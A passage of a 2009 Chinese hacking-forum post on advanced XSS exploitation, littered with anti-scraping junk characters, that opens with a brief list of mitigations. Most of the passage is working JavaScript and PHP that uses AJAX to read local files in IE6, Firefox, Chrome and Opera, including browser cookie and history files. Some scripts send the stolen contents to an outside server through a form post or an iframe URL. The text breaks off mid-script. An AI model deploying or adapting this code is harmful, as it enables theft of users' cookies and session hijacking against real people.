XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页% Z8 }; D1 e/ m7 p1 |1 d# y7 p
本帖最后由 racle 于 2009-5-30 09:19 编辑
# G( r& h1 E* ?8 m s+ x+ W4 h+ b9 s8 T) U+ s r; N
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# E/ B, Q- s+ T4 E' i& UBy racle@tian6.com
9 Z* r5 {% M9 f& o1 \6 }( k: Nhttp://bbs.tian6.com/thread-12711-1-1.html
0 k0 T' S4 j8 [5 Q) X转帖请保留版权
: D$ V* Y. M* n, c" ?" h4 C7 }, F7 a2 G& Z/ J% K8 A
2 g6 S4 B, ]1 G5 V% r% o. F2 s/ @
-------------------------------------------前言---------------------------------------------------------' ~2 Q* m. S' n
! U) m& A, p8 z: D( A
5 U# _; O6 t+ ^, v( P本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.1 a% t7 n( d& j7 p8 b! p9 F
/ H. K- \- R n4 I
8 L$ i3 G G- R% b
如果你还未具备基础XSS知识,以下几个文章建议拜读:
$ E5 u& s6 \3 ]5 a& q; Z+ fhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
! X6 y6 U* N5 o8 ^3 f7 Hhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
; o) m; E2 g! |1 `; X! j/ S5 ~http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过" k7 b$ `# J7 T
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
+ D+ K, f3 t8 I* bhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
$ a9 M9 Q+ N9 y/ Z! N/ ahttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持6 {; s/ A3 l/ L6 B
0 N2 _7 K0 d! Q: x
+ q6 o' H' ~- e7 j8 o) r
# c5 I: p; r, L7 o4 z. v. Y& J3 Y8 e+ z8 j: T
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.6 ?& y+ k+ X3 v/ f; P* ^$ @8 `" t
8 X% b' _. ] U: {9 B3 v) s3 @
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.' g: b M R' q; |1 g7 h" D5 m2 O9 p
7 H% |0 D, z- u
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
^9 d. `3 ^$ d6 Q$ G3 c+ ^- l; P+ ^* J2 Y& w ~4 Q
Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大- h% L- G s9 X1 x7 T3 A
+ u7 q6 v1 l$ l1 g' TQQ ZONE,校内网XSS 感染过万QQ ZONE.2 d9 K2 r6 f( j5 A: \! u, S. o7 Z
/ w, E; L9 F4 E# w4 j: k5 W3 _. ]OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪' I& C5 j* E' C& Q% u
9 B0 z# R, y( E* _3 g2 D..........7 G1 y( S& M. d/ T1 ]
复制代码------------------------------------------介绍-------------------------------------------------------------
+ [4 Q$ U( D6 h1 c! T( W7 e6 g2 ]5 C9 c& L
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.9 }0 t9 @( u/ ]8 ]" H% Q' @
& m! s) ~7 k; e1 E/ d3 g* j8 _
7 t) Y8 L" a/ L k; g& g3 V8 f) B- E9 M! T, V) t/ q& H
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.' D& N o" P* J9 Y9 C
) |- ~. h$ N' @9 p% s) ?* c* F( y5 q( t8 F
$ g: L# m- @6 _5 n. d6 G如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
4 ^, F; O5 U, ]* M' b复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
3 `* _5 f/ ]+ F+ X1 T我们在这里重点探讨以下几个问题:6 ^4 C b& }8 l: _! U# U
9 k# h# D/ `# s! k! o; I3 ]1 通过XSS,我们能实现什么?
, O$ W7 }, R- S5 {* {& c U$ o: ]4 i5 B$ ~6 h* [7 ~# R
2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
5 m8 w# H% h: [4 ] n
8 c+ o9 y7 r" `' D% K3 L3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
- u n+ C1 |, m# p0 c" k0 O, {% E/ P3 s$ D) ]6 U; {
4 XSS漏洞在输出和输入两个方面怎么才能避免.
0 f* T% X/ S4 t$ F# w2 C X4 @% M$ i5 ~1 ]- b! F
- \+ d# J( o7 f# L: w
6 ]3 q, v: r; u$ G" H7 D/ H/ W------------------------------------------研究正题----------------------------------------------------------0 U* }9 H/ }9 f' B
" t* V: d6 N; _' j r
! h" D' Y0 F& t+ H" s
. O& O9 Q7 P! B$ e4 j- v0 K7 s通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.5 s/ ~, N: N; q& ~7 e, J4 s9 ?- t) C
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫: j0 J" z+ e4 C4 t, q- n2 U4 A
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
$ m+ O" ?1 X5 N) X t4 G1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
5 g3 R, J4 M; M, h" |2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.6 s3 R6 p9 @3 ~6 t
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
* u9 l. U1 {3 K5 i4:Http-only可以采用作为COOKIES保护方式之一.
+ q& F0 P+ d" l6 `8 k
+ W2 ^1 P, {, s( J3 V) c( X' B% f& Y# u+ a: o
' J3 j3 z1 |6 q0 @8 W- i, C
2 t' s2 {7 j& ?, p6 H) J) D) K/ ]
(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)8 w9 `5 N: S; L4 d/ p7 S
* ]3 n9 d' L g# [
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
, |) o* n7 i4 o) k$ q! a7 G- l
; y% c, ]# {& Y& Q
( D8 R5 L, t6 |' I9 e" U! u S& Q7 f
2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
2 R) g" x4 W4 n6 \; n, ?" v3 _6 X7 ~9 K
- @$ e% ^* S( @# \. l7 h
' T X! J! O7 G2 o3 ` Q) p 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。2 v0 @/ J" y r8 o7 J
3 }2 [, l& c$ T4 t
5 s% |. N9 }3 O7 I- r, g+ r7 R# b
4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.8 g: o3 v5 [6 i- K2 V
复制代码IE6使用ajax读取本地文件 <script>$ d8 r0 y9 v# `0 i* Y( ^
- G$ r5 C* n4 A( ?# h function $(x){return document.getElementById(x)}
8 r/ Q7 T& u4 o& e; o% m
F& I% ?% f' T0 J
; `% }" n3 c/ {2 }) R$ W
- d# J$ U. F( j8 S function ajax_obj(){$ q) m( ]8 v" x! _
, D7 y& A; w- i5 w var request = false;0 b2 ~) J: k6 j. Z: _
e$ D& F) f/ l. V: D
if(window.XMLHttpRequest) {
" `$ H5 t1 E: F8 w8 i1 p
0 ]3 t& _6 q# v6 z7 p+ d9 y. x request = new XMLHttpRequest();: ~* k/ ~) s' |! p
# d% j7 R6 G( n2 c/ X$ P } else if(window.ActiveXObject) {
0 ^6 ]' C7 W; |* z0 K
# i3 {- W. a9 L# V* j( I$ t var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',( I' g3 T% Y8 Q" O& C! f
7 P8 t, i$ I8 G- Y, Y7 o
4 l1 S8 }+ G3 m' |
$ l' s+ J6 u% ?$ i 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: j9 T7 C- G; F6 A! J7 @) ~
8 A: i; d' A. \& H for(var i=0; i<versions.length; i++) {0 U8 n# X1 A9 y4 u( B8 Y* N
8 b" R6 T% N: l7 r) D3 F; m; R try {3 w9 J. o+ Q: p7 R1 N+ s
" g% g* j& h; _* b! t" J4 Q request = new ActiveXObject(versions);
c# j/ O/ u% ^* J0 q! N
9 ~1 N% G6 N' B$ ~ } catch(e) {}
3 f1 K1 |8 l ~; \
6 F/ S5 S+ l: I) g3 M }
2 f/ S% l: V* w7 w1 _) |0 o- Q6 O
0 f' _3 X* w; ^8 f) b0 w/ ^7 B, m' G }$ }6 S7 ]) u. p
& h |' O7 V" m1 Q return request;
# j; c- h1 T4 [6 J( o. z6 v8 N0 H. N/ N4 k
}2 l- a# l% S/ n1 ?. a
4 ` Z N W3 ^ var _x = ajax_obj();3 d; _ z# _% p( W
( } a; n1 b8 y3 r# U: i- L function _7or3(_m,action,argv){
2 V% U4 O9 e X( Y9 C4 X+ _/ S. Q. d, ^4 q" V/ G- p
_x.open(_m,action,false);+ X% o ], ?% A
1 d* p8 H; C s: j/ O if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");8 G6 x) _3 z3 x' X8 C! p
/ o" E$ R* T3 G0 P$ K! ^$ o
_x.send(argv);4 T; g# }7 _7 i) w8 k7 |3 Q
# d: b5 {3 ]/ V3 x: L
return _x.responseText;
$ B( }/ A0 x; u& c1 Y% U5 B# x( p9 e
- X# C5 ^$ D. j f S }
6 E$ n- I/ m) [0 n) f) t7 B. u, Y3 e% ^4 C1 Z
1 y) s2 \& p9 `* N
+ e7 j+ }) J H% _1 ~0 H& f9 E
var txt=_7or3("GET","file://localhost/C:/11.txt",null);3 a$ b/ a) Y j3 M3 h8 B. C, \
6 y4 I5 b/ V! C' d2 L
alert(txt);/ {0 R+ _/ [2 {8 v" X. b, A! T
( {% Y6 t6 k* Y. ^8 }( C3 c5 W1 n
1 {: Q6 b8 }% f) N* u# U% @& L/ h
" c% Y" M" p2 q' } </script>
3 J0 t4 J" {5 r9 T1 B5 m( K) O9 N: c复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>9 {) }1 @3 k( k/ @# M8 L
3 d5 R P) k4 Q8 F1 T function $(x){return document.getElementById(x)}
1 u" }1 b3 H% A
, m( N+ S. `. r/ N6 L( E8 {5 H5 ~
6 a% H/ E+ P% M4 F; G. d% ]; G% L3 M1 b
function ajax_obj(){
" p5 B6 Y% C3 I
) {+ R% ~6 v/ e; Q) r) s4 X% o var request = false;1 U- i. J* k1 i o
0 Z$ s5 F4 I0 K1 \* e1 _" l if(window.XMLHttpRequest) {
. L" }7 m4 Z" ]& X" T
r6 w& Q; x/ s( O request = new XMLHttpRequest();
1 W. B, k6 X; g' p$ \) ?% _7 }/ j; j9 P; _ H( W* M
} else if(window.ActiveXObject) {
# G1 S; ?. Q& [; |* u! Z4 G+ x. A/ \" o2 D6 f6 l
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',9 H( P: p5 V% H" [3 s
- b9 E; Y( F& w) c: u
8 e5 M. k5 O0 v" _: W7 }
) C, @ j' X( Z/ Q 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' \# U5 X1 f$ g# W/ j& r
4 }( L3 x% Y9 O3 s& ^. v- Z for(var i=0; i<versions.length; i++) {
4 X6 j G w- k5 L# i3 `
# F7 \, J" r0 I, `0 }2 v5 R try {0 K6 u1 V* k, G
4 g3 \* j) P% n) O7 H' J+ x request = new ActiveXObject(versions);
* J% y" _7 `9 ~; }0 C) Z
7 q5 L2 s6 P0 T# A' A/ R/ i! V6 ^$ { } catch(e) {}
- g) d7 I& z% p2 r& Y- G& i ?4 D! A% ~6 V0 k- c2 M
}
, K6 s1 N t6 }
. b7 u+ B; J7 _* \2 G4 Z: J' Y2 i3 v }
: L9 `/ k3 p% j3 D' T3 \! B9 r
$ E) h' E& [7 d( }5 M return request;, o& s" [0 {6 g$ S
D+ S' O% E9 B3 V$ Y0 P
}7 b) X: M# k5 p( v+ ]8 ]8 O# E. }
4 ^0 [8 t+ P* B5 l+ {
var _x = ajax_obj();& m1 o, @9 @1 n1 y n
1 ?6 c0 {3 J& a5 n( ]( |( e function _7or3(_m,action,argv){* {$ [; y% J Y
) m3 y' i- h: [( l) J
_x.open(_m,action,false);" `4 W3 r2 R) D2 V# `2 w# [
0 ]/ y- J0 _4 d3 `5 O if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
+ _- x0 Q8 w4 w: H5 I' G
/ A1 m( M K" _. N+ q# @, i% j _x.send(argv);8 k. C" X7 s; i7 F
5 j: P% }9 T( e8 x c
return _x.responseText;0 M+ u% l7 x( G1 V# }3 A1 J+ f
; H) p5 K5 T, ^- j }
, a/ x" I3 @. a" [, J1 M9 P; ~/ k7 I% R2 [
" Y+ g' @) ?+ {% P" {' V3 A! T- R1 [
1 q6 ^0 h0 `. R" J9 [. G var txt=_7or3("GET","1/11.txt",null);( K- o" `0 f' B* b
) g+ b B, x4 E, U: B' i( x( v5 ^
alert(txt);! g, I* s+ y; ` v$ V9 ~2 m( E
& |: ^5 T2 O: z; \% C3 F0 S
0 k3 x% k% M6 b& m: {( Z) o) X% i, o) K- x4 Y
</script>4 [: f0 [* T& T# {& x2 o5 A
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”& F8 s9 ^6 |( a* n, c: e% J
+ u& W' Q9 y' |" j! H
6 f# c2 ^. U- h5 K$ O. @! n2 C6 r f
) W- B) F( R5 A+ O6 c/ r8 d% }
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
8 ~: V' q0 D% x/ I
$ W0 d3 Z- g- m& W' Y) K3 z3 x0 v
9 Q/ i3 A O- A7 t+ v0 I
$ O& G& p- h! P; j3 N<? 6 l! l& A& [6 I* W4 B
% h) m- i. l Z7 X+ c f
/*
2 y/ Z# Z& y/ h8 C* I# v
2 l/ B R0 j( T3 g, V" R Chrome 1.0.154.53 use ajax read local txt file and upload exp
. v1 Y# B9 u% \3 L
9 p+ B9 y+ ^! d/ v5 v. C2 ` www.inbreak.net
: L8 H3 Q5 `3 Y! z. T2 y& B; G7 V' m2 V; {8 C2 ~- J5 a
author voidloafer@gmail.com 2009-4-22
3 ~1 \( e# f, k$ J9 i
2 r! ~8 E6 ?% n/ U0 { http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 1 c5 h z( V3 x" ]
2 l. h) j' S* M( x: w! v; X*/ 7 S5 [4 |: q6 I1 V1 Q+ d
5 I9 C& o5 H" V5 l3 w
header("Content-Disposition: attachment;filename=kxlzx.htm"); % E' C, B! q4 h! |
+ d$ P0 R3 p) j" {; g! `header("Content-type: application/kxlzx"); - Q7 P$ p5 m( m8 I# ]9 ]* W
; e8 {. |, [$ E# @
/* 6 H& N2 D5 Q8 [" W
3 {: c+ ?) M/ g" u set header, so just download html file,and open it at local. ( _3 i; W8 j5 j- z$ [8 Y
( G; Z2 ?1 i1 i' F/ E. h
*/
4 C _$ P6 v1 u/ |5 Q' `# N A1 t
8 ~* A& Q& Y7 [# A?> ' {% O: z' M [; ?6 R) s# P
, M4 E7 f/ H5 V5 `
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> & e$ B' i6 q5 S, m! w+ @- L
8 c. _7 a5 Y) F# Y; I' _7 ~* ] <input id="input" name="cookie" value="" type="hidden">
! w' A8 [5 I. J e3 ^/ r
8 Z, J6 j$ w* D3 h</form> % v* k! i! |3 \- N7 t) W
5 Y% K) g4 e# B' `2 \3 M<script>
7 ]* E7 J+ [! m
5 C* o8 L; e5 i9 Sfunction doMyAjax(user)
& @( l8 T' l4 q! W; V5 ?! b; Q: _* \
{
w) P; h1 R# @( u4 D. O
& \+ D" L+ Z. a/ wvar time = Math.random();
2 \$ m+ v' q3 N+ G1 L/ i' K
- f! X9 ?. n& N1 s* B6 t. b5 ?/*
; g, z1 z6 v& {2 d
9 @6 B# e R8 T% { \! Z0 ]the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
! }. L+ M( a4 V5 ^7 @8 c& Y0 }0 {
* ?7 C) ]* @4 T5 Z4 vand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ) b2 V5 {1 S5 q
$ M* n. @/ E! M- [+ r, {. Qand so on... 8 d, n/ C X$ c+ G& L' E0 V) F
6 u6 t% f( I5 B/ ? \ A9 C h
*/ + r+ V# p. W U W- t# z
1 `8 e6 v4 R5 O3 e" Cvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; ! K) \! E5 ]! x k: H6 G( [! D
2 Y* i- e4 s$ u# \% x( F
& N B/ D" E0 v1 K; {" u- J) P" w% R, [7 G1 p! ]* R1 ~9 d
startRequest(strPer); 9 C' n' c% |, n1 T" H, R
% a* d- G: E: W' q6 j
0 C. t/ |/ W, O* i7 k7 ]/ z' t& W, V+ R8 D1 [- n! Z% s
}
1 Q) s2 ?3 n0 X; H! r
3 E! s1 S! L; @* Z3 K7 i
& _2 W/ V$ P3 z5 I" ?) e1 m( T" X) Q4 K4 F( m5 c
function Enshellcode(txt) 8 L c+ p" }8 R$ F3 w7 v, x% }
3 e0 V& F! A2 i
{ , D! y5 F2 a& i- Q. m% r
" l1 Y! e n1 V3 K/ B& b
var url=new String(txt); / e1 l& Q9 C K- a9 u/ d0 H0 t4 d+ u
" x* O2 g g' D* e/ _' S% cvar i=0,l=0,k=0,curl=""; - Y' b9 b: K+ R+ u1 y) ~ C( V
# M4 ^! y: Z6 |) y8 h: Vl= url.length; ) M8 l) y- A/ g, c- l1 C: S
- X% X! P5 }& ~$ r
for(;i<l;i++){
& r. a+ x; ?& S6 }7 H
, H. \( D+ P2 A$ i2 p2 r U' ak=url.charCodeAt(i);
6 x+ |) S! ^8 \; z0 Y/ d- B/ N' Z% |# y; u. V6 c& D; c
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
. Z! F8 }0 g) [+ X' a# o* @+ v
; R( p$ T/ B! v+ H+ Jif (l%2){curl+="00";}else{curl+="0000";}
2 T5 e: N6 ?! @, ~- S& Y% B" O+ t& U3 @" y4 T) K; \
curl=curl.replace(/(..)(..)/g,"%u$2$1");
. v ]9 j; p4 b9 ^( R" c: @/ t% ?. e# N6 N' Q' r
return curl;
9 v% q- I& w$ w8 b2 y7 f7 p
2 c- t- u+ \! V" w% f, z( ~- r} ( s1 c1 P5 o$ @& q, n) o7 P
! f3 j0 M9 q' A0 z" c + ]% n4 Q; A: b) ]9 S
8 [2 a9 q9 j0 ^1 |; k' f! e, U
% m8 ?) Z# E; X: \& D# g' A. v5 v5 j: j) ^" T
var xmlHttp;
" H& f: d+ |. B: {) ] y$ P4 R! V+ ^$ p( T, C
function createXMLHttp(){
& T1 H2 a' U5 `+ ?1 `& \; T
' ]5 L2 X: E3 m if(window.XMLHttpRequest){ " k; M# a6 a) _
! S3 N' g, F# a6 A* KxmlHttp = new XMLHttpRequest();
5 F1 i8 }# f7 O/ a& u3 p: Q$ H! C% G: j! D) x4 v, ~! j" C+ u+ L
}
8 {- A& m3 ` h
1 }$ m0 e& l3 p9 S; v; W' b else if(window.ActiveXObject){
" @+ l( W: p) `( ]" X* h( B6 a- _" S/ @4 v8 q% b2 j+ m" }% u& T
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ( l" Y0 S; ]9 L ]2 B% ^1 J
% U2 w4 c% S" r } 6 F6 V" v2 _2 f6 w$ I; K7 U
) b4 B* Y. P+ A1 u) x/ N" t1 B4 V
} 5 ~) p' J8 ?! n+ y& _; {( ?
E! c0 h& G9 ?: S6 ]- L# K- s
% U$ F$ I; X6 O; c$ b' `
1 ?4 n* o" R" E: d$ hfunction startRequest(doUrl){
& ]3 M. @( B6 e* ]$ Q$ X$ Z/ p' \# W Y o8 i
& P3 i. N6 U" q& I, P" d
& ^% \3 t( B0 E6 l8 s createXMLHttp();
V% ~% ]) K3 C2 q2 Z3 }6 i9 _
6 O- W9 X5 m# L1 W- v ]5 N5 v+ Z2 B& ^# h |2 @4 P
% t. N& q. q2 ~
xmlHttp.onreadystatechange = handleStateChange;
8 C* v! {9 Z( m9 ^0 G$ h
& c3 E& t- Y% c' x
: v- B% Y, Z- ^/ Y, A$ T( ~$ Q" B ]. {. P+ c
xmlHttp.open("GET", doUrl, true);
! ~ M, n4 @0 [; L# J# V! B7 `; _
8 x3 c# V7 a; y/ }/ K/ X
' O% \* I/ e' M8 I xmlHttp.send(null);
# R/ V5 A& R3 n/ G u' e7 @* l2 ]" E. [* V2 d( {( |/ ?
# M# y( {" T a i2 A) g) r% r2 i% k4 {# @' R. I' o: n
$ G, B2 s( w! V9 h
3 ^( n$ w& y! w- |- M8 q& o( t: [}
! y0 x) N/ V, j) d2 \! }
/ Z' X$ i) q$ Q7 k6 r$ N ! q8 h) V, Z. [7 d6 e+ {; a% a# d/ F
5 j3 \- F# g+ D4 Q* t! l6 [
function handleStateChange(){ 0 ~2 o X* c$ p" V" ~1 H% u
3 _& j- P& Z% o6 A7 \
if (xmlHttp.readyState == 4 ){ 8 C0 D5 D6 ^0 h7 k, o( H- c' n# |# ?
+ k, F F4 c' L4 F O6 [/ Y var strResponse = "";
: r1 @; m6 N1 c+ [' P( I( M; D k% D! s9 ?- P
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
( U, g$ z" y+ C: Z* Y" U! Y8 H
, c, U% K* F5 [/ W7 f
4 u! _% P8 \0 z. {6 g% e6 q8 f+ k
8 z+ u+ V1 ?% v8 y% n+ v }
2 m1 Z) O# A* L/ ]$ W
5 |3 R7 h# S+ v- C}
# Y" A( w: m' E3 R
3 Y8 [5 y" E. H! p( s) C" E( _ W3 J( b; |6 ]7 f' t
/ C: f# J$ r/ R8 `; Y$ E5 s8 L
* S6 w+ n y$ W# d
7 m" d3 z# p8 \& vfunction framekxlzxPost(text) % W ^# _: g, `: E( F
; h$ T4 s3 B0 G7 {{
! o w6 h/ {: K" h& O% O9 H* ^: c, W* U u7 P1 Y1 ~
document.getElementById("input").value = Enshellcode(text);
, ~5 [7 s* m9 \; g) ~3 g$ J
: |( X& \9 ^& k" H document.getElementById("form").submit(); , R4 O5 W1 N2 z: O
: j; ~& U9 p. y& P) Y+ ~
} , h! @* `( G& l+ V' F4 n* q9 }
* {' C p" h; ]8 q
- R( ^2 C1 P9 e3 t5 s
$ }, j$ k T/ t, O6 ?doMyAjax("administrator"); 4 r/ [1 H8 O* t1 F5 _
$ }5 h: W0 ~* z
/ Y" Z( p4 P: B# I( Z' j
# I6 c- R6 e t9 [</script>
8 \7 Z) ^8 h6 l- j6 Y( z% a/ Y复制代码opera 9.52使用ajax读取本地COOKIES文件<script> $ q- `0 S0 \" @. H. C
- z! n" w( U6 x* p' Avar xmlHttp;
2 e* O' y7 x% u/ K, j7 F! a- D
; q0 X. g. H% ?# _function createXMLHttp(){
, ]5 e+ p5 u' H7 ?" m7 J7 s1 V5 X7 h$ u) k, G. k
if(window.XMLHttpRequest){
3 @+ Z( V. x+ \+ M6 d: H$ |0 d
( P# O: d& B' {3 X xmlHttp = new XMLHttpRequest(); # E* m$ z6 U# S0 I. }
% a: k6 w/ K5 S. ^ } 0 ]2 J3 B0 e8 k' l0 o
& c- I( B, C. x
else if(window.ActiveXObject){
+ e3 C& _9 i B2 z7 c/ H3 t7 F. v) ^: `8 t. H: o
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% `5 s8 n4 y0 L R
5 m+ A( s4 Q- u5 R$ c& Z } - f, a- }. N- T
3 X! V0 W9 K% ^) P& W} $ @5 U5 H5 N$ E; m" e7 Y
' \5 g7 E/ V1 C' x" A: l
6 t% N, [2 x8 V C' r6 d9 b: W6 V& D* M; \. O% s3 D
function startRequest(doUrl){ # u' O7 ?; N5 c
, M! l7 x- ~- E p
- r; D2 y7 A# k9 _9 r0 r: X4 m) ]2 g. ?1 V4 Z, K! c. a9 [
createXMLHttp();
( P* O& Y/ J# l, P/ C, k0 z: k7 _( x' {: N5 I. O( J( A
: N. |2 a" E0 s0 K2 n, S% `9 {; A3 A# Z( G3 t' {/ j: x9 K
xmlHttp.onreadystatechange = handleStateChange;
! @/ p+ S4 B5 A1 c1 E+ ?$ G& w; c7 a% N6 E* A
5 \) b {' S' ^: \. {$ z
( F& e# D: n9 L xmlHttp.open("GET", doUrl, true);
: P1 F s4 p- b9 ]7 t \) m1 {
' R& M. i! X1 _( b8 l" c6 @ $ S. d2 r, b, W$ v8 `7 B7 U" T
! }1 r5 X) g' F' M" j; M7 { xmlHttp.send(null); ; h2 T/ R$ b- Q9 [& p" }& u- @ c) {
$ |4 q6 P! w( o8 p4 ~5 d% w4 w1 p
6 M# o+ O6 E* b4 ^
" y0 H6 p* B! c
4 x: u9 i5 |, r4 ]% F# ~1 W, J, v$ J9 a
}
" f* c) U4 V4 V* X/ v
N$ \& Q9 m4 R 9 E& x% b1 v' }- W
" j3 `0 l6 }, P+ U6 e
function handleStateChange(){
! P5 u$ Z9 n: d4 K! k7 [# r1 i$ R5 l0 N
if (xmlHttp.readyState == 4 ){ $ M$ ^. A8 S9 N8 |% u+ G
8 l4 a" A8 m2 \; X w8 } var strResponse = ""; ) o$ P; @5 O% @% Q
9 g% T1 m$ f* S$ ]6 O9 s0 o2 o; Q setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
4 a9 N0 P P5 k0 n0 s/ j1 K" v8 w1 n5 A
6 U( r$ j. V6 @2 T0 F9 t! G; a3 F7 H
. s$ v. _: z: I }
( r7 [4 D5 c# k0 o& F* B9 c/ q8 t! j
}
* u8 R! h; _4 Q! \ Y" P5 R. P) m
+ |8 M9 ~# A9 ?0 l' D' Z4 V 6 m" X l! M F% x) \( ]- f8 }
9 c! L8 N( |. P$ l, G, G
function doMyAjax(user,file) 9 F" w& C: q3 ^ o0 W5 N' M, c
q! D2 N" a6 O{
) o9 ?, h. [. Z% \ ?& u6 _! _' h; |6 }0 B
var time = Math.random(); ( H J1 x& u) R/ D) q1 T
8 B; H& O/ f# z* X: Z9 ^
* g- K0 n) m0 R: k6 @, y. J- e; Q8 m; f z; V+ \
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
9 S! Y! t* a6 m% G
+ T1 {9 ?4 V. ~) P
! U4 T1 V( V: j z r4 t2 u4 y) c. m+ J0 n
startRequest(strPer);
6 E1 b7 }# _& h2 w' e- L7 H
, k$ v0 k, ?6 D1 I
( B5 S3 P/ W; [; e' ?$ c6 [* y) r9 h; f& |/ q2 b+ A/ o( f
} 6 P, @' k9 M9 x) G' O; F
2 B$ B" C- r8 U7 u; L# o: A6 d
- p8 O* t }3 C1 d6 R( V+ N6 ]! g$ A
: Q6 v/ ]2 W$ s i
function framekxlzxPost(text) }( a8 f6 X# J' L8 j. G- o; B% }
/ Y( D' U# U! A1 \/ f. ~{
" |' ^; ~- V; a3 C* O* e: g
8 b7 a6 J. V% q5 ?1 z. j7 U document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
) C* q8 x: h0 I2 O7 h
' T( y4 T" {% s1 p. ~ alert(/ok/);
